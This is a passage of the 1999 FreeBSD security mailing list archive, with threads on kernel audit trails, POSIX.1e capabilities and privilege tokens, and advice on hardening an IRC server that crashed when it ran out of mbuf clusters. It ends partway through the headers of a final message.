majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Sep 20 8: 0:11 1999 Delivered-To: freebsd-security@freebsd.org Received: from loki.ideaglobal.com (loki.ideaglobal.com [194.36.20.54]) by hub.freebsd.org (Postfix) with ESMTP id C7E3714DD2 for ; Mon, 20 Sep 1999 08:00:07 -0700 (PDT) (envelope-from kiril@loki.ideaglobal.com) Received: (from kiril@localhost) by loki.ideaglobal.com (8.9.3/8.9.2) id PAA30804; Mon, 20 Sep 1999 15:07:41 GMT (envelope-from kiril) From: Kiril Mitev Message-Id: <199909201507.PAA30804@loki.ideaglobal.com> Subject: Re: Real-time alarms In-Reply-To: <199909201416.HAA58893@gndrsh.dnsmgr.net> from "Rodney W. Grimes" at "Sep 20, 1999 7:16:26 am" To: freebsd@gndrsh.dnsmgr.net (Rodney W. Grimes) Date: Mon, 20 Sep 1999 15:07:41 +0000 (GMT) Cc: ark@eltex.ru, security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Ouch. do you REALLY suggest things along the lines set proc/priv=(... , .... , .... ) ?? > > > > Hmmm, i think it is a good idea to have 2 kernel interfaces: > > > > 1) audit - one way communication system that lets kernel and possibly > > some user processes to inform an audit daemon or whatever that something > > important happened > > By definision a secure audit trail can only be generated by a secure > code base, that pretty much precludes any user processes from being > a source of data at this time. > > > 2) acl device that will provide 2-way communication to a daemon that will > > allow or deny things to happen? > > This is no longer auditing, that would be under another thread, one about > security control, and goes hand in hand with the proposal I tossed out > about VMS like per process priviledges. > > > -- > Rod Grimes - KD7CAX - (RWG25) rgrimes@gndrsh.dnsmgr.net > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > > -- Kiril Mitev, IT Operations Mgr, London IDEAglobal.com Standard Corporate Disclaimer applies, see http://www.ideaglobal.com/email-disclaimer.html for details. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Sep 20 8:24:31 1999 Delivered-To: freebsd-security@freebsd.org Received: from flood.ping.uio.no (flood.ping.uio.no [129.240.78.31]) by hub.freebsd.org (Postfix) with ESMTP id 1410114CB8; Mon, 20 Sep 1999 08:24:22 -0700 (PDT) (envelope-from des@flood.ping.uio.no) Received: (from des@localhost) by flood.ping.uio.no (8.9.3/8.9.3) id RAA71406; Mon, 20 Sep 1999 17:23:51 +0200 (CEST) (envelope-from des) To: "Joao Carlos" Cc: , , , Subject: Re: Out of mbuf clusters References: <000501bf030a$ac70e7a0$fa58dfc8@bahianet.com.br> From: Dag-Erling Smorgrav Date: 20 Sep 1999 17:23:50 +0200 In-Reply-To: "Joao Carlos"'s message of "Sun, 19 Sep 1999 22:51:35 -0300" Message-ID: Lines: 46 X-Mailer: Gnus v5.5/Emacs 19.34 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org "Joao Carlos" writes: > I'm running FreeBSD 3.3-STABLE, and compiled a kernel with 64 maxusers. It > gives me somethink like 1048 processes. I don't know if it's a bug, or > whatever, but i got crazy when i tested a program called CLONE on a IRC > Server running i this machine. > Before arriving 1024 connections on te IRCD, (NOTE: nothing more like httpd, > squid, etc were running), The machine crashed, with the following message: I'll bet your CLONE thingy wasn't properly written, and doesn't actually consume the data sent by the server, causing the server to fill up mbufs. Currently, FreeBSD panics when it runs out of mbufs. 1) use ircd connection classes to prevent clients from opening more than a small number of connections, and to limit the size of the send queue. If you don't know what that means, don't run an IRC server. 2) increase the number of mbuf clusters. If you don't know how to do this, don't run an IRC server. 3) set up a heavy firewall in front of your server (preferably on your border router) which protects your server from SYN floods, UDP floods, smurfing fingerprinting, etc. If you don't know how to do this, don't run an IRC server. 4) harden your TCP/IP stack to withstand SYN floods, UDP floods, smurfing, fingerprinting, etc. Run a recent 4.0, or 3.3-R with my hardening patches, and understand what those patches do and how to use them. If you don't know how to do this, don't run an IRC server. 5) lock your machine down tight, including disabling all services except ircd and ssh and configuring sshd to only accept connections from trusted hosts and require RSA authentication (no rhosts, no password authentication). If you don't know how to do this, don't run an IRC server. 6) if you need a flooder, try my joiner.pl. Read the source and understand how it works and how to tune it before using it. Know that it can (and will) crash your server if you didn't do 1) and 2) properly. If you don't know how to do this, don't run an IRC server. DES -- Dag-Erling Smorgrav - des@flood.ping.uio.no To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Sep 20 8:30:41 1999 Delivered-To: freebsd-security@freebsd.org Received: from labinfo.iet.unipi.it (labinfo.iet.unipi.it [131.114.9.5]) by hub.freebsd.org (Postfix) with SMTP id C873D15149; Mon, 20 Sep 1999 08:30:28 -0700 (PDT) (envelope-from luigi@labinfo.iet.unipi.it) Received: from localhost (luigi@localhost) by labinfo.iet.unipi.it (8.6.5/8.6.5) id OAA08309; Mon, 20 Sep 1999 14:47:35 +0200 From: Luigi Rizzo Message-Id: <199909201247.OAA08309@labinfo.iet.unipi.it> Subject: Re: Out of mbuf clusters To: des@flood.ping.uio.no (Dag-Erling Smorgrav) Date: Mon, 20 Sep 1999 14:47:35 +0200 (MET DST) Cc: jcarlos@bahianet.com.br, stable@FreeBSD.ORG, questions@FreeBSD.ORG, security@FreeBSD.ORG, hitech@bahianet.com.br In-Reply-To: from "Dag-Erling Smorgrav" at Sep 20, 99 05:23:31 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 483 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Reading the list it seems to me that you have forgotten rule #7: > 1) use ircd connection classes to prevent clients from opening more ... > 6) if you need a flooder, try my joiner.pl. Read the source and > understand how it works and how to tune it before using it. Know > that it can (and will) crash your server if you didn't do 1) and > 2) properly. If you don't know how to do this, don't run an IRC > server. 7) Don't run an IRC server. cheers luigi To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Sep 20 8:34:25 1999 Delivered-To: freebsd-security@freebsd.org Received: from khavrinen.lcs.mit.edu (khavrinen.lcs.mit.edu [18.24.4.193]) by hub.freebsd.org (Postfix) with ESMTP id 015A715316 for ; Mon, 20 Sep 1999 08:34:22 -0700 (PDT) (envelope-from wollman@khavrinen.lcs.mit.edu) Received: (from wollman@localhost) by khavrinen.lcs.mit.edu (8.9.3/8.9.3) id LAA69700; Mon, 20 Sep 1999 11:34:15 -0400 (EDT) (envelope-from wollman) Date: Mon, 20 Sep 1999 11:34:15 -0400 (EDT) From: Garrett Wollman Message-Id: <199909201534.LAA69700@khavrinen.lcs.mit.edu> To: Dag-Erling Smorgrav Cc: Subject: Re: Out of mbuf clusters In-Reply-To: References: <000501bf030a$ac70e7a0$fa58dfc8@bahianet.com.br> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org < said: > don't run an IRC server. Best advice I've heard all week. -GAWollman -- Garrett A. Wollman | O Siem / We are all family / O Siem / We're all the same wollman@lcs.mit.edu | O Siem / The fires of freedom Opinions not those of| Dance in the burning flame MIT, LCS, CRS, or NSA| - Susan Aglukark and Chad Irschick To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Sep 20 8:34:29 1999 Delivered-To: freebsd-security@freebsd.org Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id B65E815AC7 for ; Mon, 20 Sep 1999 08:34:26 -0700 (PDT) (envelope-from robert@cyrus.watson.org) Received: from fledge.watson.org (fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.9.3/8.9.3) with SMTP id LAA42392; Mon, 20 Sep 1999 11:33:58 -0400 (EDT) (envelope-from robert@cyrus.watson.org) Date: Mon, 20 Sep 1999 11:33:57 -0400 (EDT) From: Robert Watson X-Sender: robert@fledge.watson.org Reply-To: Robert Watson To: Jobe Cc: ark@eltex.ru, freebsd@gndrsh.dnsmgr.net, security@FreeBSD.ORG Subject: Re: Real-time alarms In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I'd advise against developing any more codebases for auditing--we already have two :-). I have a /dev/audit, submission of records from a number of syscalls, an auditd + IDS interface, and some log management code. Nate's folk are working on a better kernel interface and implementation, as was discussed on freebsd-security in July (please see archive for details). My userland library currently supports most of the posix.1e audit interface spec, and I have a set of posix.1e extensions for IDS modules. My hope is to adapt my auditd to speak Nate's kernel improvements, but continue to provide a standard interface and useful tools/etc. Robert N M Watson robert@fledge.watson.org http://www.watson.org/~robert/ PGP key fingerprint: AF B5 5F FF A6 4A 79 37 ED 5F 55 E9 58 04 6A B1 TIS Labs at Network Associates, Safeport Network Services To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Sep 20 8:35:39 1999 Delivered-To: freebsd-security@freebsd.org Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4]) by hub.freebsd.org (Postfix) with ESMTP id C04AD15314 for ; Mon, 20 Sep 1999 08:35:34 -0700 (PDT) (envelope-from freebsd@gndrsh.dnsmgr.net) Received: (from freebsd@localhost) by gndrsh.dnsmgr.net (8.9.3/8.9.3) id IAA59102; Mon, 20 Sep 1999 08:34:00 -0700 (PDT) (envelope-from freebsd) From: "Rodney W. Grimes" Message-Id: <199909201534.IAA59102@gndrsh.dnsmgr.net> Subject: Re: Real-time alarms In-Reply-To: <199909201507.PAA30804@loki.ideaglobal.com> from Kiril Mitev at "Sep 20, 1999 03:07:41 pm" To: kiril@ideaglobal.com (Kiril Mitev) Date: Mon, 20 Sep 1999 08:34:00 -0700 (PDT) Cc: ark@eltex.ru, security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > Ouch. > > do you REALLY suggest things along the lines > > set proc/priv=(... , .... , .... ) Yes, at least the functionality, we don't have to use the VMS DCL interface to it. set proc/priv= just flips bits in the process header area. You have a better idea?? > > > > > > Hmmm, i think it is a good idea to have 2 kernel interfaces: > > > > > > 1) audit - one way communication system that lets kernel and possibly > > > some user processes to inform an audit daemon or whatever that something > > > important happened > > > > By definision a secure audit trail can only be generated by a secure > > code base, that pretty much precludes any user processes from being > > a source of data at this time. > > > > > 2) acl device that will provide 2-way communication to a daemon that will > > > allow or deny things to happen? > > > > This is no longer auditing, that would be under another thread, one about > > security control, and goes hand in hand with the proposal I tossed out > > about VMS like per process priviledges. > > -- Rod Grimes - KD7CAX - (RWG25) rgrimes@gndrsh.dnsmgr.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Sep 20 8:42:19 1999 Delivered-To: freebsd-security@freebsd.org Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4]) by hub.freebsd.org (Postfix) with ESMTP id E44F415357 for ; Mon, 20 Sep 1999 08:42:06 -0700 (PDT) (envelope-from freebsd@gndrsh.dnsmgr.net) Received: (from freebsd@localhost) by gndrsh.dnsmgr.net (8.9.3/8.9.3) id IAA59140; Mon, 20 Sep 1999 08:41:15 -0700 (PDT) (envelope-from freebsd) From: "Rodney W. Grimes" Message-Id: <199909201541.IAA59140@gndrsh.dnsmgr.net> Subject: Re: Real-time alarms In-Reply-To: from Robert Watson at "Sep 20, 1999 11:33:57 am" To: robert+freebsd@cyrus.watson.org (Robert Watson) Date: Mon, 20 Sep 1999 08:41:14 -0700 (PDT) Cc: security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > I'd advise against developing any more codebases for auditing--we already > have two :-). I have a /dev/audit, submission of records from a number of > syscalls, an auditd + IDS interface, and some log management code. Nate's > folk are working on a better kernel interface and implementation, as was > discussed on freebsd-security in July (please see archive for details). > My userland library currently supports most of the posix.1e audit > interface spec, and I have a set of posix.1e extensions for IDS modules. > My hope is to adapt my auditd to speak Nate's kernel improvements, but > continue to provide a standard interface and useful tools/etc. URL to source code please... and I already pointed out that we need to at least look at what is out there. -- Rod Grimes - KD7CAX - (RWG25) rgrimes@gndrsh.dnsmgr.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Sep 20 8:42:53 1999 Delivered-To: freebsd-security@freebsd.org Received: from gndrsh.dnsmgr.net (GndRsh.dnsmgr.net [198.145.92.4]) by hub.freebsd.org (Postfix) with ESMTP id 6F6FE15B48 for ; Mon, 20 Sep 1999 08:42:51 -0700 (PDT) (envelope-from freebsd@gndrsh.dnsmgr.net) Received: (from freebsd@localhost) by gndrsh.dnsmgr.net (8.9.3/8.9.3) id IAA59154; Mon, 20 Sep 1999 08:42:31 -0700 (PDT) (envelope-from freebsd) From: "Rodney W. Grimes" Message-Id: <199909201542.IAA59154@gndrsh.dnsmgr.net> Subject: Re: Out of mbuf clusters In-Reply-To: <199909201534.LAA69700@khavrinen.lcs.mit.edu> from Garrett Wollman at "Sep 20, 1999 11:34:15 am" To: wollman@khavrinen.lcs.mit.edu (Garrett Wollman) Date: Mon, 20 Sep 1999 08:42:31 -0700 (PDT) Cc: des@flood.ping.uio.no (Dag-Erling Smorgrav), security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > < said: > > > don't run an IRC server. > > > Best advice I've heard all week. And don't run IRC clients on your winblow boxes, they'll run a fair bit longer before they crash. -- Rod Grimes - KD7CAX - (RWG25) rgrimes@gndrsh.dnsmgr.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Sep 20 8:49:49 1999 Delivered-To: freebsd-security@freebsd.org Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id 4419714CA6 for ; Mon, 20 Sep 1999 08:49:44 -0700 (PDT) (envelope-from robert@cyrus.watson.org) Received: from fledge.watson.org (fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.9.3/8.9.3) with SMTP id LAA42442; Mon, 20 Sep 1999 11:48:23 -0400 (EDT) (envelope-from robert@cyrus.watson.org) Date: Mon, 20 Sep 1999 11:48:23 -0400 (EDT) From: Robert Watson X-Sender: robert@fledge.watson.org Reply-To: Robert Watson To: Kiril Mitev Cc: "Rodney W. Grimes" , ark@eltex.ru, security@FreeBSD.ORG Subject: Access Control (was: Re: Real-time alarms) In-Reply-To: <199909201507.PAA30804@loki.ideaglobal.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, 20 Sep 1999, Kiril Mitev wrote: > Ouch. > > do you REALLY suggest things along the lines > > set proc/priv=(... , .... , .... ) ... > > > 2) acl device that will provide 2-way communication to a daemon that will > > > allow or deny things to happen? > > > > This is no longer auditing, that would be under another thread, one about > > security control, and goes hand in hand with the proposal I tossed out > > about VMS like per process priviledges. POSIX.1e describes a set of capabilities + interface, which the Linux people have already implemented (with extensions to make it useful). I am not convinced that the approach selected in POSIX.1e is the correct approach--the lack of extensibility for capabilities looks pretty limiting. On the other hand, it should be recognized that the advantages of a portable capability scheme would be many, and that POSIX.1e evolved out of a body of authors who wrote *many* trusted operating systems. A couple of years ago I implemented an extension to FreeBSD to bind a set of "tokens" to pools of process authentication/authorization groups--tokens represented kernel capabilities, kernel authentication information, as well as keying material provided by user processes. I extended a number of syscalls to make use of capability tokens with specific names, and provided some primitives for creating and managing the tokens. Central to this approach as the idea of transfering tokens, and having tokens that the kernel could protect against duplication, unauthorized transfer, etc. I provided a primitive allowing processes to share tokens via unix domain sockets, and had a tokend that accepted requests for exchanges of tokens: a typical login sequence went something like this: login, running effectively unauthorized, is spawned. It requests authentication information from the user (username, password) and creates a token containing this information. It connects to /var/run/token (a unix domain socket) and transfers to token to the socket, along with a request for authentication to the username account. Tokend, based on a policy file, would allow the exchanges of specific types of tokens for other tokens--for example, a valid username/password token for a set of UNIX uid and gid tokens representing a traditional user credential set. I similarly allowed the exchange of kerberos tickets, represented as tokens, for user credentials. I also allowed the exchange of such tokens for specific capability tokens--such as binding of specific port numbers in specific ways, etc. Processes requiring additional privilege could request it via the socket and ancillary token transfer. While I'm not suggesting this is the correct long-term solution, it does make use of what I feel are a few extremely useful features of a capability system. These include flexibility (a string-based capability model allowing things like socket/bind/ip/tcp/25), mechanism for acquiring new privileges without necessarily using a traditional unix "you execute something to get'em" setuid style, ways to limit their spread (the kernel could prevent the transfer of tokens marked as limited), and the ability to describe existing concepts in UNIX (uids/etc). Also, the ability to have a configurable policy in a file somewhere, managed in a central manner by a single code base (tokend) without bloating the kernel. A configurable policy is something I feel is extremely important so that we can make new security features accessible (and acceptable) to those with varying security needs. Extending the file system to support capabilities is something that has held up the Linux crowd--while they have implemented what they need in terms of access control and process capability management, they haven't gotten the capabilities into the base FS. Avoiding file-system based capabilities seems like an easier solution: no need to newfs, extend file system interfaces, deal with problems when it comes to distributed file systems, etc. Robert N M Watson robert@fledge.watson.org http://www.watson.org/~robert/ PGP key fingerprint: AF B5 5F FF A6 4A 79 37 ED 5F 55 E9 58 04 6A B1 TIS Labs at Network Associates, Safeport Network Services To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Sep 20 8:50:56 1999 Delivered-To: freebsd-security@freebsd.org Received: from forced.attrition.org (attrition.org [198.77.217.13]) by hub.freebsd.org (Postfix) with ESMTP id D709115A8A for ; Mon, 20 Sep 1999 08:50:07 -0700 (PDT) (envelope-from jobe@attrition.org) Received: from localhost (jobe@localhost) by forced.attrition.org (8.9.3/0.0.1.beta.nospam) with SMTP id IAA28351; Mon, 20 Sep 1999 08:53:42 -0600 Date: Mon, 20 Sep 1999 08:53:41 -0600 (MDT) From: Jobe To: Robert Watson Cc: ark@eltex.ru, freebsd@gndrsh.dnsmgr.net, security@FreeBSD.ORG Subject: Re: Real-time alarms In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Damn it Rob, you're taking all the fun out of my kernel projects =) I'd still like to write this up for my own daemonic educational purposes. Also it will give me something to kill time. Who knows, maybe you'll even see something you like in my diffs ;). When in doubt go with my ultimate philosophy on life as we know it, "Fear not, stranger things have happened." --Jobe On Mon, 20 Sep 1999, Robert Watson wrote: > > I'd advise against developing any more codebases for auditing--we already > have two :-). I have a /dev/audit, submission of records from a number of > syscalls, an auditd + IDS interface, and some log management code. Nate's > folk are working on a better kernel interface and implementation, as was > discussed on freebsd-security in July (please see archive for details). > My userland library currently supports most of the posix.1e audit > interface spec, and I have a set of posix.1e extensions for IDS modules. > My hope is to adapt my auditd to speak Nate's kernel improvements, but > continue to provide a standard interface and useful tools/etc. > > Robert N M Watson > > robert@fledge.watson.org http://www.watson.org/~robert/ > PGP key fingerprint: AF B5 5F FF A6 4A 79 37 ED 5F 55 E9 58 04 6A B1 > TIS Labs at Network Associates, Safeport Network Services > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Sep 20 8:53:36 1999 Delivered-To: freebsd-security@freebsd.org Received: from loki.ideaglobal.com (loki.ideaglobal.com [194.36.20.54]) by hub.freebsd.org (Postfix) with ESMTP id C64CC15357 for ; Mon, 20 Sep 1999 08:53:32 -0700 (PDT) (envelope-from kiril@loki.ideaglobal.com) Received: (from kiril@localhost) by loki.ideaglobal.com (8.9.3/8.9.2) id QAA31235; Mon, 20 Sep 1999 16:00:15 GMT (envelope-from kiril) From: Kiril Mitev Message-Id: <199909201600.QAA31235@loki.ideaglobal.com> Subject: Re: Real-time alarms In-Reply-To: <199909201534.IAA59102@gndrsh.dnsmgr.net> from "Rodney W. Grimes" at "Sep 20, 1999 8:34: 0 am" To: freebsd@gndrsh.dnsmgr.net (Rodney W. Grimes) Date: Mon, 20 Sep 1999 16:00:15 +0000 (GMT) Cc: kiril@ideaglobal.com, ark@eltex.ru, security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > Ouch. > > > > do you REALLY suggest things along the lines > > > > set proc/priv=(... , .... , .... ) > > Yes, at least the functionality, we don't have to use the VMS DCL > interface to it. set proc/priv= just flips bits in the process > header area. IIRC, it 'flips bits' in a dedicated VAXCPU register. > You have a better idea?? NO, so I will voluntarily shut up . > > > > > > > > Hmmm, i think it is a good idea to have 2 kernel interfaces: > > > > > > > > 1) audit - one way communication system that lets kernel and possibly > > > > some user processes to inform an audit daemon or whatever that something > > > > important happened > > > > > > By definision a secure audit trail can only be generated by a secure > > > code base, that pretty much precludes any user processes from being > > > a source of data at this time. > > > > > > > 2) acl device that will provide 2-way communication to a daemon that will > > > > allow or deny things to happen? > > > > > > This is no longer auditing, that would be under another thread, one about > > > security control, and goes hand in hand with the proposal I tossed out > > > about VMS like per process priviledges. > > > > > -- > Rod Grimes - KD7CAX - (RWG25) rgrimes@gndrsh.dnsmgr.net > > -- Kiril Mitev, IT Operations Mgr, London IDEAglobal.com Standard Corporate Disclaimer applies, see http://www.ideaglobal.com/email-disclaimer.html for details. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Sep 20 8:57:11 1999 Delivered-To: freebsd-security@freebsd.org Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id 5C97315B00 for ; Mon, 20 Sep 1999 08:57:07 -0700 (PDT) (envelope-from robert@cyrus.watson.org) Received: from fledge.watson.org (fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.9.3/8.9.3) with SMTP id LAA42463; Mon, 20 Sep 1999 11:57:06 -0400 (EDT) (envelope-from robert@cyrus.watson.org) Date: Mon, 20 Sep 1999 11:57:06 -0400 (EDT) From: Robert Watson X-Sender: robert@fledge.watson.org Reply-To: Robert Watson To: "Rodney W. Grimes" Cc: security@FreeBSD.ORG Subject: Re: Real-time alarms In-Reply-To: <199909201541.IAA59140@gndrsh.dnsmgr.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, 20 Sep 1999, Rodney W. Grimes wrote: > > I'd advise against developing any more codebases for auditing--we already > > have two :-). I have a /dev/audit, submission of records from a number of > > syscalls, an auditd + IDS interface, and some log management code. Nate's > > folk are working on a better kernel interface and implementation, as was > > discussed on freebsd-security in July (please see archive for details). > > My userland library currently supports most of the posix.1e audit > > interface spec, and I have a set of posix.1e extensions for IDS modules. > > My hope is to adapt my auditd to speak Nate's kernel improvements, but > > continue to provide a standard interface and useful tools/etc. > > URL to source code please... and I already pointed out that we need > to at least look at what is out there. My first hack at the POSIX.1e auditing interface is available via: http://www.watson.org/fbsd-hardening/posix1e/ Unfortunately, the newer revisions of my code are on a notebook in Massachusetts, and I'm currently in Maryland on business. However, I'll be back up there tomorrow night and will put the new stuff online ASAP (including passes at an IDS module interface). The kernel interface available in that code base is pre-July code--i.e., before we had discusses how to do the kernel interface properly--I recommend ignoring that code, except from the point of view of seeing how it fits into the overall scheme. Essentially it does what has been discussed: the syscalls are allowed to generate records which are submitted to a queue that pops out of /dev/audit. An auditd listens on /dev/audit and retrieves records, reading them into an internal structure of the style suggested by the POSIX.1e interface, appropriate for passing to IDS routines, etc. One thing that the code base doesn't currently contain is my new log format and text format for audit records--POSIX encourages the providing of a consistent text format for records, and the version online is a hack to convert a record to a string. In the version going online in a couple of days, I provide clean conversion to a string, as well as a parser/etc to pull text records back into managable POSIX audrec_t's. Part of the goal of the distribution I did put online was to make sections of POSIX.1e available in manpage format--since then, we've managed to get IEEE to release the documents themselves, which are available online at the posix1e homepage. There is a posix1e mailing list that may be subscribed to by sending email to majordomo@cyrus.watson.org with contents "subscribe posix1e". Robert N M Watson robert@fledge.watson.org http://www.watson.org/~robert/ PGP key fingerprint: AF B5 5F FF A6 4A 79 37 ED 5F 55 E9 58 04 6A B1 TIS Labs at Network Associates, Safeport Network Services To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Sep 20 9:11: 4 1999 Delivered-To: freebsd-security@freebsd.org Received: from fledge.watson.org (fledge.watson.org [204.156.12.50]) by hub.freebsd.org (Postfix) with ESMTP id DC09115057 for ; Mon, 20 Sep 1999 09:11:01 -0700 (PDT) (envelope-from robert@cyrus.watson.org) Received: from fledge.watson.org (fledge.pr.watson.org [192.0.2.3]) by fledge.watson.org (8.9.3/8.9.3) with SMTP id MAA42519; Mon, 20 Sep 1999 12:10:35 -0400 (EDT) (envelope-from robert@cyrus.watson.org) Date: Mon, 20 Sep 1999 12:10:34 -0400 (EDT) From: Robert Watson X-Sender: robert@fledge.watson.org Reply-To: Robert Watson To: Jobe Cc: ark@eltex.ru, freebsd@gndrsh.dnsmgr.net, security@FreeBSD.ORG Subject: Re: Real-time alarms In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Mon, 20 Sep 1999, Jobe wrote: > Damn it Rob, you're taking all the fun out of my kernel projects =) I'd > still like to write this up for my own daemonic educational purposes. > Also it will give me something to kill time. Who knows, maybe you'll even > see something you like in my diffs ;). When in doubt go with my ultimate > philosophy on life as we know it, "Fear not, stranger things have > happened." Sorry :-). I'm glad however to see that there is more serious interest out there--the last few times we've discussed auditing, people haven't actually been interested in working on it, and only just willing to discuss it. :-) Go ahead and work on anything you please--I'd be glad to look at any code/diffs people come up with and this will definitely be an iterative process. One thing I am particularly interested in seeing brought to fruition is a way to protect key system security processes from interference--from any other user process, even one running as root. This might be similar to the jail code--the world being in a jail and only processes such as auditd (possibly init?) outside of it. Processes would be unable to attach debuggers to protected processes while securelevel was set above a certain value, and limited in their ability to signal the processes, etc. This would allow us to offload computationally expensive audit-related code (statistical IDS, crypto, etc) from the kernel into a user process, but also protect the user process in the event of a root compromise, complementing the securelevel behavior. In the access control email I sent earlier, tokend would be another process worthy of such protection :-). Leveraging the jail code to do this might help keep to a minimum all of the forms of process sandboxing we have. Don't know if this is a topic that interests you, but it would certainly be worthy of some hacking :-). Robert > > --Jobe > > On Mon, 20 Sep 1999, Robert Watson wrote: > > > > > I'd advise against developing any more codebases for auditing--we already > > have two :-). I have a /dev/audit, submission of records from a number of > > syscalls, an auditd + IDS interface, and some log management code. Nate's > > folk are working on a better kernel interface and implementation, as was > > discussed on freebsd-security in July (please see archive for details). > > My userland library currently supports most of the posix.1e audit > > interface spec, and I have a set of posix.1e extensions for IDS modules. > > My hope is to adapt my auditd to speak Nate's kernel improvements, but > > continue to provide a standard interface and useful tools/etc. > > > > Robert N M Watson > > > > robert@fledge.watson.org http://www.watson.org/~robert/ > > PGP key fingerprint: AF B5 5F FF A6 4A 79 37 ED 5F 55 E9 58 04 6A B1 > > TIS Labs at Network Associates, Safeport Network Services > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > Robert N M Watson robert@fledge.watson.org http://www.watson.org/~robert/ PGP key fingerprint: AF B5 5F FF A6 4A 79 37 ED 5F 55 E9 58 04 6A B1 TIS Labs at Network Associates, Safeport Network Services To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Mon Sep 20 9:20:13 1999 Delivered-To: freebsd-security@freebsd.org Received: from postman.bahianet.com.br (postman.bahianet.com.br [200.223.88.38]) by hub.freebsd.org (Postfix) with ESMTP id 3FE981526C; Mon, 20 Sep 1999 09:19:34 -0700 (PDT) (envelope-from jcarlos@bahianet.com.br) Received: from nop (nop.bahianet.com.br [200.223.88.126]) by postman.bahianet.com.br (8.9.3/8.9.3) with SMTP id NAA27654; Mon, 20 Sep 1999 13:19:08 -0300 (EST) Message-ID: <006301bf0384$0c30e2c0$0400a8c0@bahianet.com.br> From: "Joao Carlos" To: "Dag-Erling Smorgrav" Cc: , , , References: <000501bf030a$ac70e7a0$fa58dfc8@bahianet.com.br> Subject: Re: Out of mbuf clusters Date: Mon, 20 Sep 1999 13:20:25 -0300 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 